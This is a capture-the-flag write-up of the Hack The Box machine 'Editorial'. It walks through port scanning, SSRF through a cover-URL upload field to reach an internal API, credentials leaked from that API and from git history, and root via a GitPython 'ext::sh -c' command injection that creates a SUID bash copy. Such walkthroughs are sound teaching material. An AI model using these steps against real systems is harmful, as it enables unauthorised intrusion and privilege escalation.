#hackthebox #linux #easy
![[Pasted image 20250816141503.png]]
# Information Gathering - Nmap
First, I opened the box with scanning all TCP ports.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -Pn -n --open --min-rate 3000 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-16 16:47 UTC
Nmap scan report for 10.10.11.20
Host is up (0.051s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 17.24 seconds
```
I discovered 2 open ports from the initial scan. I scanned those two ports again with `-sCV` options to gather more information.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sCV -p 22,80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-16 16:48 UTC
Nmap scan report for 10.10.11.20
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.71 seconds
```
Then I scanned top 10 UDP ports.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap $IP -sU --top-ports 10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-16 16:49 UTC
Nmap scan report for 10.10.11.20
Host is up (0.050s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
123/udp open|filtered ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
161/udp closed snmp
445/udp closed microsoft-ds
631/udp closed ipp
1434/udp closed ms-sql-m
Nmap done: 1 IP address (1 host up) scanned in 4.86 seconds
```
# Enumeration
##### HTTP - TCP 80
I mapped the IP address with the domain and added to `/etc/hosts` file.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ echo '10.10.11.20 editorial.htb' | sudo tee -a /etc/hosts
[sudo] password for kali:
10.10.11.20 editorial.htb
```
The landing page of `editorial.htb` looks like this.
![[Pasted image 20250816115230.png]]
`Publish with us` tab reveals a file upload feature.
![[Pasted image 20250816115326.png]]
I opened an `HTTP server` with Python and attempted to get the image on my kali from the upload feature and it successfully grabbed the image.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ ls
crab.png exploit.py exploit.sh vpn
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.20 - - [16/Aug/2025 16:55:19] "GET /crab.png HTTP/1.1" 200 -
```
![[Pasted image 20250816115607.png]]
After selecting a file through the file upload browser, when you click on `Preview` button the server generates an outbound HTTP request.
![[Pasted image 20250816121615.png]]
I made another request to the root of my python webserver `http://10.10.14.10` and the server returned a path.
![[Pasted image 20250816122937.png]]
Visiting the path using `curl` reveals the directory listing page of the directory where I'm serving the webserver.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ curl http://editorial.htb/static/uploads/13edd918-96cc-4435-a7ff-3f417ba69c83
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="crab.png">crab.png</a></li>
<li><a href="exploit.py">exploit.py</a></li>
<li><a href="exploit.sh">exploit.sh</a></li>
<li><a href="php-reverse-shell.php">php-reverse-shell.php</a></li>
<li><a href="vpn/">vpn/</a></li>
</ul>
<hr>
</body>
</html>
```
I wanted to know if there are any other ports running internally. I tried `http://127.0.0.1:80` and it hangs for a fairly long time and returned what appeared to be path for a default image.
![[Pasted image 20250816123734.png]]
However, when I made the same request to a different random port, the server responds right away.
![[Pasted image 20250816124037.png]]
I'm going to perform fuzzing against all 65,535 ports to find out which port is running internally. In order to do that, I need to first download this request as a file.
![[Pasted image 20250816125009.png]]
After running `ffuf` for a few seconds, it discovered that port `5000` is running.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -u http://editorial.htb/upload-cover -request ssrf.req -w <(seq 0 65535) -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /proc/self/fd/11
:: Header : Accept: */*
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Content-Type: multipart/form-data; boundary=---------------------------34002710372520290072070125050
:: Header : Origin: http://editorial.htb
:: Header : Connection: keep-alive
:: Header : Referer: http://editorial.htb/upload
:: Header : Host: editorial.htb
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Priority: u=0
:: Data : -----------------------------34002710372520290072070125050
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
-----------------------------34002710372520290072070125050
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------34002710372520290072070125050--
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 167ms]
:: Progress: [5037/65536] :: Job [1/1] :: 312 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
```
I made a request to `localhost:5000` and this time the server didn't return the default `.jpeg` file but something else instead. Let's check it out.
![[Pasted image 20250816125448.png]]
Making a request to `localhost:5000` using `cURL` revealed some response in JSON format.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ curl http://editorial.htb/static/uploads/9d89efe9-8902-44d0-b75d-a34929fbde70
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/message
s/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metada
ta/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":
"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","
endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list o
f all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrie
ve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
```
Made it look better for readability with `jq`
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ curl http://editorial.htb/static/uploads/9d89efe9-8902-44d0-b75d-a34929fbde70 | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 911 100 911 0 0 6959 0 --:--:-- --:--:-- --:--:-- 6954
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
```
I tried communicating to most of the endpoints via `Burp` and the server returned the path to data for each but `new_authors` and `changelog` are the only endpoints that didn't return null.
![[Pasted image 20250816130410.png]]
Found a set of credentials: `dev:dev080217_devAPI!@`
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ curl http://editorial.htb/static/uploads/97d140ec-558d-4b25-9567-b2007123eabf | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 506 100 506 0 0 4255 0 --:--:-- --:--:-- --:--:-- 4288
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
```
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ curl http://editorial.htb/static/uploads/8fb13e23-b553-4cf2-9d45-0d56b4d6bc9b | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 618 100 618 0 0 5181 0 --:--:-- --:--:-- --:--:-- 5193
[
{
"1": {
"api_route": "/api/v1/metadata/",
"contact_email_1": "
[email protected]",
"contact_email_2": "
[email protected]",
"editorial": "Editorial El Tiempo Por Arriba"
}
},
{
"1.1": {
"api_route": "/api/v1.1/metadata/",
"contact_email_1": "
[email protected]",
"contact_email_2": "
[email protected]",
"editorial": "Ed Tiempo Arriba"
}
},
{
"1.2": {
"contact_email_1": "
[email protected]",
"contact_email_2": "
[email protected]",
"editorial": "Editorial Tiempo Arriba",
"endpoint": "/api/v1.2/metadata/"
}
},
{
"2": {
"contact_email": "
[email protected]",
"editorial": "Editorial Tiempo Arriba",
"endpoint": "/api/v2/metadata/"
}
}
]
```
# Initial Access - Shell as `dev`
I successfully logged into `ssh` server with the credentials I discovered.
```bash
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh dev@$IP
The authenticity of host '10.10.11.20 (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.20' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri Aug 15 06:11:17 PM UTC 2025
System load: 0.08
Usage of /: 61.3% of 6.35GB
Memory usage: 12%
Swap usage: 0%
Processes: 224
Users logged in: 0
IPv4 address for eth0: 10.10.11.20
IPv6 address for eth0: dead:beef::250:56ff:feb0:c43d
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$ whoami; id
dev
uid=1001(dev) gid=1001(dev) groups=1001(dev)
```
Found `user.txt` in `/home/dev`
```bash
dev@editorial:~$ cat user.txt
ddf...
```
# Lateral Movement - shell as `prod`
in `/home/dev`, I found `.git` directory under the `apps` directory.
```bash
dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 2024 .
drwxr-x--- 4 dev dev 4096 Aug 15 18:14 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 2024 .git
```
`git log` revealed all of the commits made.
```bash
dev@editorial:~/apps/.git$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <
[email protected]>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <
[email protected]>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <
[email protected]>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <
[email protected]>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <
[email protected]>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
```
`git log -p` reveals what changes were made for each commit and we can see that `prod` user credentials have been replaced with `dev`'s.
![[Pasted image 20250816131955.png]]
# Privilege Escalation - shell as `root`
`prod:080217_Producti0n_2023!@`
logged in as user `prod` with the credentials above.
```bash
dev@editorial:~/apps/.git$ su prod
Password:
prod@editorial:/home/dev/apps/.git$ whoami
prod
```
`sudo -l` tells us that `prod` user can run the following command with `sudo`
```bash
prod@editorial:/home/dev/apps/.git$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
```
`clone_prod_change.py` is written as follows:
```bash
prod@editorial:/home/dev/apps/.git$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
```
`from git import Repo` is a Python import statement to use `GitPython` library.
`pip show gitpython` revealed its version: 3.1.29
```bash
prod@editorial:~$ pip show gitpython
Name: GitPython
Version: 3.1.29
Summary: GitPython is a python library used to interact with Git repositories
Home-page: https://github.com/gitpython-developers/GitPython
Author: Sebastian Thiel, Michael Trier
Author-email:
[email protected],
[email protected]
License: BSD
Location: /usr/local/lib/python3.10/dist-packages
Requires: gitdb
Required-by:
```
You can also type `pip freeze` and it returns all installed packages and their versions.
```bash
prod@editorial:~$ pip freeze
attrs==21.2.0
Automat==20.2.0
Babel==2.8.0
bcrypt==3.2.0
blinker==1.4
certifi==2020.6.20
chardet==4.0.0
click==8.0.3
colorama==0.4.4
command-not-found==0.3
configobj==5.0.6
constantly==15.1.0
cryptography==3.4.8
dbus-python==1.2.18
distro==1.7.0
distro-info==1.1+ubuntu0.2
Flask==2.2.2
gitdb==4.0.10
GitPython==3.1.29
gunicorn==20.1.0
httplib2==0.20.2
hyperlink==21.0.0
idna==3.3
importlib-metadata==4.6.4
incremental==21.3.0
itsdangerous==2.1.2
jeepney==0.7.1
Jinja2==3.0.3
jsonpatch==1.32
jsonpointer==2.0
jsonschema==3.2.0
keyring==23.5.0
launchpadlib==1.10.16
lazr.restfulclient==0.14.4
lazr.uri==1.0.6
```
I searched for `GitPython 3.1.29 exploit` and there was this known exploit from `Snyk`. The code here is very similar to what we have in the target machine.
![[Pasted image 20250816134220.png]]
I followed the PoC and it crashes.
```bash
prod@editorial:/tmp$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwn3d'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/pwn3d new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
```
However, if you navigate to `/tmp`, `pwn3d` is actually created.
```bash
prod@editorial:/tmp$ ls -l pwn3d
-rw-r--r-- 1 root root 0 Aug 15 18:53 pwn3d
```
Now we confirmed the exploit is actually working. I'm going to tweak it a bit.
- Copy `/bin/bash` to `/tmp/wook`
- Change owner/group of the file to `root`
- Change the file permission to `6777`: 6 -> `SUID + SGID` Bit set.
```bash
prod@editorial:/tmp$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/wook\nchown root:root /tmp/wook\nchmod 6777 /tmp/wook'
#!/bin/bash
cp /bin/bash /tmp/wook
chown root:root /tmp/wook
chmod 6777 /tmp/wook
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/wook\nchown root:root /tmp/wook\nchmod 6777 /tmp/wook' > /dev/shm/wook.sh
chmod +x /dev/shm/wook.sh
```
Now I ran the command again and it crashed just like before.
```bash
prod@editorial:/tmp$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /dev/shm/wook.sh'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c /dev/shm/wook.sh new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
```
However, in `tmp`, the `wook` file is created with all SUID + SGID bits set.
```bash
prod@editorial:/tmp$ ls -l wook
-rwsrwsrwx 1 root root 1396520 Aug 15 19:03 wook
```
run it with `-p` option to keep root privileges.
```bash
prod@editorial:/tmp$ ./wook -p
wook-5.1# whoami
root
```
Found `root.txt`
```bash
wook-5.1# ls
root.txt
wook-5.1# cat root.txt
f56...
```